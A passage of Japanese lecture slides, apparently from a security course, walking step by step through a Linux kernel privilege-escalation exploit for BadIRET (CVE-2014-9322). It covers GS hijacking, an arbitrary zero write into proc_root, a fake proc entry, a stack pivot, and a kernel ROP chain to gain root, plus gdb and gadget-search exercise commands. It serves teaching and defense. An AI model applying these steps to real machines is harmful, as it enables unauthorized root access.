    View Slide

  60. カーネルエクスプロイト実践
    BadIRET(CVE-2014-9322)による権限昇格

    View Slide

  61. BadIRET (CVE-2014-9322)
    swapgs後に実行されるカーネル内の処理に注目
    USER_CS, USER_DS
    len = read (fd, buf, size);
    KERNEL_CS, KERNEL_DS
    sys_read (fd, buf, size);
    USER_CS, USER_DS
    if (len == 0) { ….
    ユーザー空間(ring 3) カーネル空間(ring 0)
    System call 0(read)
    swapgs

    View Slide

  62. BadIRET (CVE-2014-9322)
    swapgs後に実行されるカーネル内の処理に注目
    USER_CS, USER_DS
    len = read (fd, buf, size);
    KERNEL_CS, KERNEL_DS
    sys_read (fd, buf, size);
    USER_CS, USER_DS
    if (len == 0) { ….
    ユーザー空間(ring 3) カーネル空間(ring 0)
    System call 0(read)
    swapgs
    290 void do_general_protection(struct pt_regs *regs, long
    error_code)
    291 {
    292 struct task_struct *tsk;
    ...
    306 tsk = current; ==> mov %gs:0xc780,%rbx
    319 tsk->thread.error_code = error_code;
    320 tsk->thread.trap_nr = X86_TRAP_GP;

    View Slide

  63. BadIRET (CVE-2014-9322)
    ● GSレジスタを使用したデータアクセス処理
    ○ iret実行時#SS例外が発生するとbad_iretラベルへ飛ぶ(double fault発生)
    ○ swapgsが実行され、%gsにユーザー空間のGSレジスタ値が設定される。
    ○ do_general_protectionが実行される。
    ○ この中で”current”としてアクセスされるデータ構造に注目
    ○ “current”マクロは%gs:offsetでアクセスされる(ここを調整可能)
    290 void do_general_protection(struct pt_regs *regs, long
    error_code)
    291 {
    292 struct task_struct *tsk;
    ...
    306 tsk = current; ==> mov %gs:0xc780,%rbx
    319 tsk->thread.error_code = error_code;
    320 tsk->thread.trap_nr = X86_TRAP_GP;

    View Slide

  64. BadIRET (CVE-2014-9322)
    ● currentを通してアクセスされるデータ構造
    ○ do_general_protectionから呼ばれるforce_sig_info関数に注目
    int force_sig_info(int sig, struct siginfo *info, struct task_struct *t)
    {
    struct k_sigaction *action;

    action = &t->sighand->action[sig-1];
    action->sa.sa_handler = SIG_DFL; // SIG_DFL == 0
    ...
    }
    ● current->sighand->action[sig-1]->sa.sa_handler = 0
    ○ currentのシグナルハンドラ関係のデータ構造に SIG_DFL(0)を設定する処理
    ○ current(%gs:offset)のアドレスを攻撃者が用意した ダミーのsighandに向ける
    ○ ダミーのsighand->action->saを任意アドレスに設定し 0を書き込める

    View Slide

  65. %GSハイジャックから任意アドレス書き込み(8byte 0)
    GS base
    current sighand
    FAKE_PERCPU FAKE_CURRENT
    Usermode memory Kernelmode memory
    CPU state
    8-byteの0をカーネル
    内の任意アドレスへ書
    き込み可能

    View Slide

  66. 任意アドレス書き込み(8byte 0)から任意コード実行
    ● 8-byteの0をどこに書き込むか?
    ○ IDT(Interrupt Descriptor Table)内の割り込みハンドラを書き換える手法
    ■ PlayStation4(FreeBSD)のjailbreakはこの手法が使われた
    ■ ただしLinuxではIDTがRead Onlyに設定されている:(
    ■ Intel SMEPによってカーネル空間から直接ユーザー空間のコードへ jumpする事を防ぐ
    ○ カーネル内ROP(Return Orietend Programming)
    ■ カーネルの実行バイナリ (e.g. vmlinux)内のROP gadgetを利用
    ■ カーネル空間内のコードを実行するため SMEP bypassが可能
    ■ Stack pivotでカーネルスタックと攻撃者が用意したユーザースタックを交換
    ■ カーネル内のgadgetを積んでROP実行(事前課題 part2参照)
    ■ ROPで権限昇格またはCR4を操作してSMEPを切る

    View Slide

  67. 任意コード実行へ
    proc_iops subdir =
    0x00XXXX
    FAKE_PROC_DIR_ENTRY proc_root
    Usermode memory Kernelmode memory
    0を書き込んでユーザー空間アドレスへ
    0xffffXXXX… -> 0x0000XXXXX
    0xffff800000000000 〜
    0 〜 0x00007fffffffffff
    FAKE_IOPS
    ROP gadgets
    open(“/proc/XXX”)
    1. proc_root.subdirのアドレスを攻撃者が用
    意した FAKE_PROC_DIR_ENTRYに差し替
    える
    2. FAKE_PROC_DIR_ENTRYは
    FAKE_IOPS を指すように調整
    3. FAKE_IOPSはカーネル内のROP gadget
    を指す。
    4. xchg %rax(=FAKE_IOPS) %rsp
    5. commit_cred(prepare…)
    iretでshellへ(事前課題part2参照)
    shell

    View Slide

  68. 演習4 カーネルエクスプロイト(権限昇格)
    ● currentがGSレジスタからオフセットいくつでアクセスされている確認
    $ (gdb) disas do_general_protection
    0xffffffff816334b0 <+0>: call 0xffffffff8163a880 <__fentry__>
    0xffffffff816334b5 <+5>: push rbp
    ….
    0xffffffff816334ce <+30>: mov rbx,QWORD PTR gs:0xb800
    ● proc_rootのアドレスを確認
    $ sudo cat /proc/kallsyms | grep ‘ proc_root$’

    View Slide

  69. 演習4 カーネルエクスプロイト(権限昇格)
    ● struct proc_dir_entryのメンバを確認
    $ cd linux-3.12
    $ gedit fs/proc/internal.h
    $ gedit include/linux/fs.h
    ● proc_dir_entry.proc_iopsのオフセット確認
    ● proc_dir_entry.subdirのオフセット確認
    include/linux/types.h
    http://elixir.free-electrons.com/linux/v3.12/ident/

    View Slide

  70. 演習4 カーネルエクスプロイト(権限昇格)
    ● proc_root.subdirの上位5byteを0埋め
    ● 下位3byte(16MB)は不明なため4096~2^24までスプレー
    ○ 0~2^24じゃない理由はLinuxではアドレス0にはマップできないため(4Kの2ページ目4096〜)
    ● FAKE_IOPS->update_timeとlookup関数ポインタをカーネル内のROP
    gadgetに変更
    ● FAKE_PROC_DIR_ENTRY->nameは適当な名前で”A”など。
    ● open(“/proc/A”)を実行するとupdate_time、lookupが順に呼ばれて発火

    View Slide

  71. 演習4 カーネルエクスプロイト(権限昇格)
    ● カーネル内のgadgetに飛んでStack Pivotを行う
    ● xchg %eax, %espに飛ぶと....
    ○ スタックがFAKE_IOPSに設定される。(しかし現在トップはlookupに設定したgadgetアドレス)
    ○ 飛んだ後スタックを少しずらしましょう
    $ ./rp-lin-x64 --file=~/linux-3.12/vmlinux --rop=3 --unique
    xchg %esp, %eax (rax == FAKE_IOPS)
    FAKE_IOPS->memberの呼び出しは以下のような命令になっている。
    %rax=FAKE_IOPS; call OFFSET(%rax); // call FAKE_IOPS->lookup

    View Slide

  72. 演習4 カーネルエクスプロイト(権限昇格)
    ● Stack Pivotした後一つ目のROP gadgetでスタックを下げる
    ● スタックがFAKE_IOPSの下にmmapしておいたROP gadgetまで移動
    ○ ここに事前課題2で用意したROP gadgetを設置
    ○ commit_cred(prepare(0))が実行されてroot化
    add $N, %rsp; ret
    をFAKE_IOPSの先頭に置いておく。

    View Slide

  73. 演習4 カーネルエクスプロイト(権限昇格)
    https://blogs.bromium.com/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/

    View Slide

  74. まとめ
    システムソフトウェアに対する攻撃と対策

    View Slide

  75. システムソフトウェアに対する攻撃と対策
    ● ソフトウェアあるところに脆弱性あり
    ○ OS(カーネル)の脆弱性を利用した攻撃
    ○ 仮想マシン(ハイパーバイザ)の脆弱性を利用した攻撃
    ○ ファームウェアの脆弱性を利用した攻撃
    ● コアなレイヤーでの脆弱性発見、対策技術
    ○ 脆弱性をどうやって見つける? -> ファジング、Symbolic Execution、 特徴量検出....
    ○ 攻撃をどうやって緩和する? -> Kernel Self Protection, Sanitizer….
    ○ 脆弱性を減らすには? セキュアなシステムソフトウェア開発 -> SMT, SAT solver, 言語パラダイ
    ム...

    View Slide